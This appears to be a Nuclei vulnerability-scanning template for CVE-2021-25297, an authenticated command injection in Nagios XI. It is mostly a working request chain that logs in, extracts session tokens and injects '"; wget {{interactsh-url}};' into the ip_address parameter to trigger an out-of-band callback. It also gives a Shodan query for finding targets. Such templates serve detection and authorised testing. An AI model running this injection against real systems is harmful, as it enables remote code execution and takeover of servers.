id: CVE-2021-25297 info: name: Nagios 5.5.6-5.7.5 - Authenticated Remote Command Injection author: k0pak4 severity: high description: | Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. reference: - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md - https://github.com/rapid7/metasploit-framework/pull/17494 - http://nagios.com - https://nvd.nist.gov/vuln/detail/CVE-2021-25297 - http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-25297 cwe-id: CWE-78 epss-score: 0.89267 cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:* metadata: max-request: 4 shodan-query: title:"Nagios XI" verified: true vendor: nagios product: nagios_xi tags: rce,oast,authenticated,msf,cve,cve2021,nagiosxi,kev http: - raw: - | GET /nagiosxi/login.php HTTP/1.1 Host: {{Hostname}} - | POST /nagiosxi/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}} - | GET /nagiosxi/index.php HTTP/1.1 Host: {{Hostname}} - | @timeout: 20s GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3b%20wget%20{{interactsh-url}}%3b&snmpopts%5bsnmpcommunity%5d=public&scaninterfaces=on HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: word part: body_4 words: - "Ping" - "Switch Details" condition: and - type: status status: - 200 extractors: - type: regex name: nsp group: 1 regex: - "name=['\"]nsp['\"] value=['\"](.*)['\"]>" internal: true part: body - type: regex name: nsp_auth group: 1 regex: - "var nsp_str = ['\"](.*)['\"];" internal: true part: body